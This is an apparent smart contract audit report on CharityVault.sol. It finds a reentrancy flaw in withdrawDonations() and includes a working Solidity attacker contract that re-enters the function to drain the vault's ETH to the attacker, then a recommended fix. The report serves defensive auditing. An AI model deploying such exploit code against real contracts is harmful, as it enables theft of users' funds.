

# Smart Contract Security Audit Report

- ◆ **Project Name:** CharityVault.sol
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## 1. Summary

Category	Description
Contract(s) Audited	CharityVault.sol
Total Issues Found	1
Severity Breakdown	<span style="color: red;">●</span> High: 1 / <span style="color: orange;">●</span> Medium: 0 / <span style="color: yellow;">●</span> Low: 0 / <span style="color: gray;">○</span> Informational: 0

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## 2. Methodology

This audit was conducted through **manual review**, with a focus on identifying both common and subtle vulnerabilities.

It included:

- In-depth code walkthrough and logic analysis
  - Manual vulnerability discovery
  - Reproduction of exploit via attacker contract (PoE)
  - Optional test-based Proof of Concept (PoC) using Foundry
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## 3. Issues

### ● 3.1 Reentrancy Vulnerability in `withdrawDonations()`

**Severity:** High

**Impact:** Full contract drain

**Status:** ✔ Confirmed — Unfixed

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## Description

Here i found one issue in `withdrawDonations()`. The function `withdrawDonations()` allows users to withdraw their donated ETH. However, it performs an **external call to `msg.sender` before updating the internal balance**, violating the **Checks-Effects-Interactions pattern**.

This enables a **reentrancy attack** where a malicious contract can re-enter `withdrawDonations()` via its `receive()` function, allowing repeated withdrawals before the user's balance is updated.

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## Proof of Exploit (PoE)

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```
// SPDX-License-Identifier: MIT
```

```
pragma solidity ^0.8.0;
```

```
import "../CharityVault.sol";
```

```
contract Attacker {
```

```
    CharityVault public vault;
```

```
    address public owner;
```

```
    constructor(address _vault) {
```

```
        vault = CharityVault(_vault);
```

```
        owner = msg.sender;
```

```
    }
```

```
    function attack() external payable {
```

```
        require(msg.value >= 1 ether, "Need at least 1 ETH");
```

```
        vault.donate{value: 1 ether}();
```

```
        vault.withdrawDonations(); // First call triggers fallback
```

```
    }
```

```
    receive() external payable {
```

```
        if (address(vault).balance >= 1 ether) {
```

```
            vault.withdrawDonations(); // Re-enter again
```

```
        } else {
            payable(owner).transfer(address(this).balance); // Collect
profits
        }
    }
}
```

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#### ✅ Recommended Fix

Apply the Checks-Effects-Interactions pattern:

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```
function withdrawDonations() external {
    uint256 amount = donations[msg.sender];
    require(amount > 0, "Nothing to withdraw");

    donations[msg.sender] = 0; // ✅ Effect before interaction

    (bool sent, ) = msg.sender.call{value: amount}("");
    require(sent, "Failed to send Ether");
}
```

Alternatively, consider using **transfer()** with built-in gas limit (unless you expect smart contract users), or a reentrancy guard.

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#### 4. ✅ Conclusion

The **CharityVault** contract is vulnerable to a **critical reentrancy bug** in the **withdrawDonations()** function, which allows attackers to drain the entire balance.

The issue can be fully mitigated by **reordering the logic** or implementing a **reentrancy guard**. The exploit was demonstrated through a Proof of Exploit (PoE) attacker contract.

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#### 5. 📁 Files Audited

- CharityVault.sol
- Attacker.sol

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## 6. References

- SWC-107: Reentrancy
- Solidity Docs - Reentrancy